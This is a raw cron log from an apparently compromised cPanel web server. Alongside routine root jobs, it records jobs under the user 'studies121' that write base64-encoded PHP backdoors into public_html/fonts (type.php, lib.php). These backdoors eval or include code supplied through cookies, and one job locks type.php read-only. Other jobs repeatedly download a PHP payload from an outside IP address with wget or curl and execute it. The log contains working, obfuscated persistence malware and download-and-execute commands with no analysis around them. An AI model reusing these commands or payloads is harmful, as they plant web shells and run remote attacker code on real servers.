Sep  6 17:30:01 ip-184-168-122-23 CROND[4804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:31:01 ip-184-168-122-23 CROND[5014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:31:01 ip-184-168-122-23 CROND[5016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:31:01 ip-184-168-122-23 CROND[5017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:31:01 ip-184-168-122-23 CROND[5019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:31:01 ip-184-168-122-23 CROND[5018]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:32:01 ip-184-168-122-23 CROND[5181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:32:01 ip-184-168-122-23 CROND[5183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:32:01 ip-184-168-122-23 CROND[5184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:32:01 ip-184-168-122-23 CROND[5185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:32:01 ip-184-168-122-23 CROND[5186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:33:01 ip-184-168-122-23 CROND[5265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:33:01 ip-184-168-122-23 CROND[5267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:33:01 ip-184-168-122-23 CROND[5268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:33:01 ip-184-168-122-23 CROND[5269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:34:01 ip-184-168-122-23 CROND[5349]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:34:01 ip-184-168-122-23 CROND[5351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:34:01 ip-184-168-122-23 CROND[5352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:34:01 ip-184-168-122-23 CROND[5353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:34:01 ip-184-168-122-23 CROND[5354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:35:01 ip-184-168-122-23 CROND[5442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:35:01 ip-184-168-122-23 CROND[5444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:35:01 ip-184-168-122-23 CROND[5446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:35:01 ip-184-168-122-23 CROND[5451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:35:01 ip-184-168-122-23 CROND[5448]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 17:35:01 ip-184-168-122-23 CROND[5452]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:35:01 ip-184-168-122-23 CROND[5450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:35:01 ip-184-168-122-23 CROND[5447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:36:01 ip-184-168-122-23 CROND[5570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:36:01 ip-184-168-122-23 CROND[5575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:36:01 ip-184-168-122-23 CROND[5574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:36:01 ip-184-168-122-23 CROND[5573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:36:01 ip-184-168-122-23 CROND[5572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:37:01 ip-184-168-122-23 CROND[5664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:37:01 ip-184-168-122-23 CROND[5663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:37:01 ip-184-168-122-23 CROND[5662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:37:01 ip-184-168-122-23 CROND[5665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:38:01 ip-184-168-122-23 CROND[5743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:38:01 ip-184-168-122-23 CROND[5746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:38:01 ip-184-168-122-23 CROND[5747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:38:01 ip-184-168-122-23 CROND[5745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:38:01 ip-184-168-122-23 CROND[5744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:39:01 ip-184-168-122-23 CROND[5919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:39:01 ip-184-168-122-23 CROND[5920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:39:01 ip-184-168-122-23 CROND[5922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:39:01 ip-184-168-122-23 CROND[5925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:39:01 ip-184-168-122-23 CROND[5924]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 17:40:01 ip-184-168-122-23 CROND[6011]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:40:01 ip-184-168-122-23 CROND[6012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:40:01 ip-184-168-122-23 CROND[6014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:40:01 ip-184-168-122-23 CROND[6016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:40:01 ip-184-168-122-23 CROND[6019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:40:01 ip-184-168-122-23 CROND[6023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:40:01 ip-184-168-122-23 CROND[6018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:40:01 ip-184-168-122-23 CROND[6022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:41:01 ip-184-168-122-23 CROND[6107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:41:01 ip-184-168-122-23 CROND[6109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 17:41:01 ip-184-168-122-23 CROND[6110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:41:01 ip-184-168-122-23 CROND[6112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:42:01 ip-184-168-122-23 CROND[6193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 17:42:01 ip-184-168-122-23 CROND[6192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 17:42:01 ip-184-168-122-23 CROND[6194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:42:01 ip-184-168-122-23 CROND[6195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
